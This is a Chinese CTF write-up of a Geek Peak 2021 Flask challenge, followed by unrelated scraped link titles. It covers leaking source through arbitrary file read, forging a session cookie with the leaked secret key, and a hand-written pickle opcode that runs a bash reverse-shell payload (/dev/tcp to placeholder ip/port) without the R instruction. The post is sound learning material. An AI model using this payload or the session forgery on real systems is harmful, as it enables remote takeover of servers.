文章目录

  • 前言
  • 一、源码泄露
  • 二、分析源码
  • 二、解题步骤
  • 总结
  • 更新

前言

打完了极客巅峰,说说感想:真就越来越菜了??签到都没出,直接0分,比刚入门那会儿还惨

下了两个pwn,一个 五六个libc+两个可执行文件,解压都懒得解压,一个malloc直接劝退,技能点还没点到

看到密码学有个 rsa,还以为到自己技能范围了,那么小的N居然不能分解,那么大个e居然不能破解,罢了罢了,只能说出题人水平真的高,学了一学期的中国剩余定理都没整明白,不觉得自己能在几小时内搞懂

web js 也没审出个啥东西来,刚好最近在搞反序列化,但是第一个着实被绕晕了,感觉利用点蛮多,却一个用不上,搜到个洞poc都没看懂,真想找个师傅带带啊

第二个pickle反序列化思路就清晰多了,幸运的是刚好前段时间在看 pickle 反序列化,不幸的是,刚好跳过了 __reduce__ 不能用的情况,结果当时看这个题的时候只有几分钟了,错过了这次0的突破,不过刚好趁着这题补个课了,在这里做个记录

尽量还原了一下题目环境,供师傅们复现 opcode


一、源码泄露

登陆的时候抓个包,很明显的任意文件读取,读了一下 /proc/self/cmdline 发现运行的是 app.py,其实也算是比较多余了,一般来说都是这个,然后读取 app.py 获得源码,查看网页源码,图片 src 中的 base64 就是了

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtinsclass RestrictedUnpickler(pickle.Unpickler):blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}def find_class(self, module, name):if module == "builtins" and name not in self.blacklist:return getattr(builtins, name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def loads(data):return RestrictedUnpickler(io.BytesIO(data)).load()app = Flask(__name__)app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"@app.route('/admin', methods = ["POST","GET"])
def admin():if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):return "not admin"try:data = base64.b64decode(session['data'])if "R" in data.decode():return "nonono"pickle.loads(data)except Exception as e:print(e)return "success"@app.route('/login', methods = ["GET","POST"])
def login():username = request.form.get('username')password = request.form.get('password')imagePath = request.form.get('imagePath')session['username'] = username + passwordsession['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))try:f = open(imagePath,'rb').read()except Exception as e:f = open('static/image/error.png','rb').read()imageBase64 = base64.b64encode(f)return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))@app.route('/', methods = ["GET","POST"])
def index():return render_template("index.html")
if __name__ == '__main__':app.run(host='0.0.0.0', port='8888')

二、分析源码

看到这个源码感觉思路还是蛮明确的,直接泄露了 SECRET_KEY,可以使用 flask-session-cookie-manager 破解session

{'data': b'base64编码后的序列化内容', 'username': 'admin'}

但是比较麻烦的在这里

if "R" in data.decode():return "nonono"

序列化字符串中不能存在 R,而 __reduce__ 就是用到了R指令,不过也毫不意外,毕竟题目提示的就是要手写 opcode,在不使用 R 指令的情况下执行命令


二、解题步骤

构造不使用 R 指令执行命令的 payload,不会写没关系,已经有师傅帮我们总结了
pickle反序列化的利用技巧总结,隔空感谢

模仿上图的 o 指令,构造反弹shell 的opcode

import base64
import pickletoolsa = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''a = pickletools.optimize(a)
print(a)
print(base64.b64encode(a))# 输出
# b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\'\no.'
# b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u'

顺便一提,因为过滤 R 指令的地方 对序列化内容做了 decode,所以序列化后的内容中不能出现 \x81 这种无法 utf-8 解码的字符

构造 session

{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}

使用 flask-session-cookie-manager 进行加密

python3 flask_session_cookie_manager3.py encode -t "{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}" -s 'y0u-wi11_neuer_kn0vv-!@#se%32'

最后替换掉 cookie 中 session 的值,访问 /admin,即可反弹shell


总结

昨天写到这就停下来了,因为想到题目中重写了 find_class,但是好像并没有生效,还以为是自己不小心动了源码,所以去找了相关的资料,整了很晚也没整出来,最后发现题目本就如此。

立个flag,找时间学学手写opcode,再回来更新,看看是否可以在有沙箱的同时过滤 R 指令,还能命令执行

如果沙箱要生效的话,pickle.loads(data) 应改为 loads(data)

同时给师傅们找到了详细的 flag,极客巅峰2021WP

更新

自己立的 flag 哭着也要完成啊,见 手撸 opcode

极客巅峰2021 web opcode相关推荐

  1. 凡泰极客荣获2021 InfoQ“技术产品营销奖”

    近日,由全球技术社区InfoQ发起的合作伙伴年度盛典线上活动成功举办.大会聚焦技术内容生产.技术社区活跃.技术产品营销以及技术发展趋势等维度,针对企业或用户颁发了多个奖项. 凡泰极客凭借领先的企业端小 ...

  2. CTF Geek Challenge——第十一届极客大挑战Web Write Up

    比赛时间:2020年10月17日早上9点 比赛时限:一个月 0x1 Welcome sha1绕过 Postman发送POST请求 sha1绕过 线索 Not Found But 这个Not Found ...

  3. 2020年极客大挑战WEB部分WP

    WriteUP Welcome 题目地址: http://49.234.224.119:8000/ 题目描述: 欢迎来到极客大挑战! 访问题目链接,发现405报错. 百度了一下,发现是GET或者POS ...

  4. 2021 极客大挑战 web

    前言 拖了老长时间没写wp了,这题写的真爽 Dark 给了一个url: http://c6h35nlkeoew5vzcpsacsidbip2ezotsnj6sywn7znkdtrbsqkexa7yd. ...

  5. 2021极客大挑战web部分wp

    Dark 看到url:http://c6h35nlkeoew5vzcpsacsidbip2ezotsnj6sywn7znkdtrbsqkexa7yd.onion/ 发现后缀为.onion,为洋葱,下载 ...

  6. 2020极客大挑战web部分复现

    WEB 0x01.朋友的学妹 找回感觉了,仿佛大一的第一道web题,哭唧唧,工作室里没人陪我,一个人复现.ctrl+U查看源码,找到注释的flag,页面提示base64解密,解密即得flag SYC{ ...

  7. 180721 逆向-极客巅峰(Re)

    Reverse Simple Base-N IDA打开,从pdb路径可以leek出现一些信息 可以看到有Base32的字样,估计算法里可能会出现相关信息 继续加载 简单重命名一下,注释上一眼就能看出来 ...

  8. 2020巅峰极客wp

    2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...

  9. 极客学院web前端学习笔记 (一)概况

    终于到暑假啦!暑假开始重新(x)学习web前端,其实html和css早已有所接触,但是js接触较少,直接原因是下学期大概要给学弟学妹们解答一些前端基础相关的问题,所以希望在暑假好好整理归纳一下知识体系 ...

最新文章

  1. 从实习被劝退,到收获阿里腾讯的offer,谈谈读研给我带来的转变
  2. HTML基础笔记-02
  3. TCP/IP详解--学习笔记(9)-TCP协议概述
  4. C语言去括号编程题,数据结构课件.ppt
  5. 正则表达式收藏(五)之微软的正则
  6. pyecharts查看版本_pyecharts v1 版本 学习笔记 折线图,面积图
  7. 【Java】函数式接口与Lambda表达式
  8. 苹果wwdc2019_我从苹果中学到的东西拒绝了我获得WWDC的奖学金
  9. redis.conf
  10. Android 中关于Cursor类的介绍
  11. java redis jar_Java使用Redis
  12. css 的z-index研究
  13. Winxp系统文件夹完全解析
  14. 中孚计算机保密 卸载,智华计算机终端保密检查系统怎样卸载
  15. 传智播客黑马程序员28期JavaEE基础及就业班视频教程
  16. 建站之星v2.7快速更换模版
  17. 嗖嗖移动业务大厅——功能分析
  18. 推荐2个开源聊天服务器
  19. 【动手学习深度学习】01 安装运行环境——Windows
  20. STM32F103C8T6定时器产生PWM

热门文章

  1. 飞瞳引擎集装箱人工智能API集装箱箱况检测演示,全球No.1集装箱AI企业中集飞瞳,完成全球百万AI集装箱箱况检验上亿集装箱检测
  2. 视联网将会给行业带来怎么样的发展
  3. 技术总监经验总结: 从需求到上线之用户故事地图
  4. Android之动画(一)
  5. Android 动画
  6. 锄头哥直播技术探讨----基础普及篇
  7. 斗破苍穹文字页游php_《斗破苍穹》官方网站! - 页游 - 可以阅读的网页游戏[YeGame.COM]...
  8. 电路分析 笔记整理(模拟电子电路)
  9. C语言语句篇-------赋值语句
  10. 闪电网络如何实现更加去中心化的网络